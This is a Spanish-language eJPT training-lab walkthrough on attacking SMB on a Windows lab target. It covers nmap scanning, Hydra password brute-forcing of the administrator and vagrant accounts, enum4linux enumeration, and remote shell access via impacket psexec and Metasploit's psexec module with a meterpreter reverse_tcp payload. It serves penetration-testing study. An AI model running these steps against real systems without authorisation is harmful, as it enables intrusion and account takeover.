> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/explotacion/windows/target-smb.md).

# Target SMB

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/4UiVvqroVDIKpFQulwCZ" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/AFIrHO48uQTAZvCcfWCi" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Escaneo de puertos con Nmap

En este laboratorio, nos centraremos en el puerto SMB, por lo que podemos limitar nuestro escaneo de Nmap al puerto 445.

Podemos identificar vulnerabilidades o configuraciones incorrectas en el puerto SMB realizando un análisis de script de Nmap con la opción predeterminada. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nmap -sV -sC -p 445 demo.ine.local
```

Como se muestra en la siguiente captura de pantalla, el script Nmap predeterminado revela la versión específica de Windows que se ejecuta en el destino, además del modo de seguridad SMB.

<figure><img src="/files/wQwgNGkzDMU8NTZ3MJun" alt=""><figcaption></figcaption></figure>

**Paso 4:** Fuerza bruta de SMB

En los laboratorios anteriores, pudimos identificar varias cuentas de usuario mediante ataques de fuerza bruta SSH y FTP. Podemos usar estas cuentas de usuario para realizar un ataque de fuerza bruta e identificar credenciales SMB legítimas que podamos usar para autenticarnos en el sistema objetivo.

Hasta el momento hemos podido identificar dos cuentas de usuario:

1. Administrador
2. vagabundo

Podemos limitar nuestro ataque de fuerza bruta a estos nombres de usuario para acelerar y reducir el tiempo necesario para realizar el ataque de fuerza bruta.

Podemos usar la herramienta Hydra para realizar un ataque de fuerza bruta SMB. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
hydra -l administrator -P /usr/share/wordlists/metasploit/unix_passwords.txt demo.ine.local smb
```

Como se muestra en la siguiente captura de pantalla, después de un par de minutos podemos identificar la contraseña de la cuenta de **Administrador** , que en este caso es **vagrant** .

<figure><img src="/files/SGQdXIvUedJm8LJqFk5v" alt=""><figcaption></figcaption></figure>

También podemos realizar el ataque de fuerza bruta con el usuario vagrant para identificar la contraseña de la cuenta de usuario ejecutando el siguiente comando:

**Dominio:**

```
hydra -l vagrant -P /usr/share/wordlists/metasploit/unix_passwords.txt demo.ine.local smb
```

Hasta ahora, hemos podido identificar contraseñas legítimas tanto para las cuentas de administrador como para las de usuarios vagabundos.

<figure><img src="/files/GUjcWLdMlmaIir5qMcQS" alt=""><figcaption></figcaption></figure>

**Paso 5:** Enumerar cuentas de usuario con enum4linux

Ahora que tenemos credenciales SMB legítimas, podemos usarlas para enumerar otras cuentas de usuario en el destino de Windows aprovechando una utilidad de enumeración llamada enum4linux.

Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
enum4linux -u vagrant -p vagrant -U demo.ine.local
```

Como se muestra en la siguiente captura de pantalla, logramos identificar otras cuentas de usuario en el objetivo de Windows. Esta información es muy útil, ya que permite optimizar nuestros ataques de fuerza bruta, limitándolos a estos nombres de usuario.

<figure><img src="/files/uxxXtgjV1GeFvsxz38gd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/CaNHdWXkmyTqPFRs4Djr" alt=""><figcaption></figcaption></figure>

**Paso 6:** Autenticación SMB con PsExec

Dado que disponemos de credenciales de usuario legítimas en el sistema de destino de Windows, podemos autenticarnos remotamente con el sistema de destino mediante SMB para obtener acceso remoto. Esto se puede lograr mediante la implementación de PsExec en Python.

Para empezar, deberá copiar el script **psexec.py** del directorio **python3-impacket** a su directorio de trabajo actual. Para ello, ejecute el siguiente comando:

**Dominio:**

```
cp /usr/share/doc/python3-impacket/examples/psexec.py /root/Desktop
```

Luego deberá proporcionarle al psexec.py permisos de ejecución, esto puede hacerse ejecutando el siguiente comando:

**Dominio:**

```
chmod +x psexec.py
```

Ahora podemos ejecutar psexec.py con el nombre de usuario Administrator. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
python3 psexec.py Administrator@demo.ine.local
```

Como se muestra en la siguiente captura de pantalla, se le pedirá que proporcione la contraseña para el usuario **administrador** , que en este caso es **vagrant** .

<figure><img src="/files/UkP9CLoG5wN1oqNvm0UI" alt=""><figcaption></figcaption></figure>

Como se muestra en la captura de pantalla anterior, después de una autenticación exitosa, se le proporcionará acceso remoto al destino de Windows como usuario **Administrador** .

También podemos utilizar el módulo Metasploit **exploit/windows/smb/psexec** para obtener una sesión de meterpreter en el sistema de destino.

Primero necesitaremos iniciar la consola Metasploit Framework (msfconsole), esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
msfconsole
```

Luego podemos cargar el módulo, ejecutando el siguiente comando:

**Dominio:**

```
use exploit/windows/smb/psexec
```

Tras cargar el módulo, debemos configurar sus opciones. En este caso, debemos establecer la dirección de destino y las credenciales SMB para la autenticación. Esto se puede hacer ejecutando los siguientes comandos:

**Dominio:**

```
set RHOSTS demo.ine.local
```

**Dominio:**

```
set SMBUser Administrator
```

**Dominio:**

```
set SMBPass vagrant
```

<figure><img src="/files/s9RrERqaUak3WvKrRGFI" alt=""><figcaption></figcaption></figure>

También necesitaremos cambiar la carga útil de meterpreter, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
set payload windows/x64/meterpreter/reverse_tcp
```

Después de configurar las opciones del módulo podemos ejecutar el módulo ejecutando el siguiente comando:

**Dominio:**

```
exploit
```

<figure><img src="/files/jnbVYLvtre9ojmYjlvDM" alt=""><figcaption></figcaption></figure>

Como se muestra en la siguiente captura de pantalla, si tiene éxito, el módulo se autenticará con el destino de Windows a través de SMB con las credenciales que especificó y ejecutará una carga útil **de meterpreter** en el sistema de destino, proporcionándole en consecuencia acceso remoto al sistema de destino.

#### Conclusión

En este laboratorio, exploramos el proceso de explotación del servicio SMB que se ejecuta en un objetivo de Windows realizando un ataque de fuerza bruta SMB y aprovechando PsExec para obtener acceso remoto al sistema de destino.
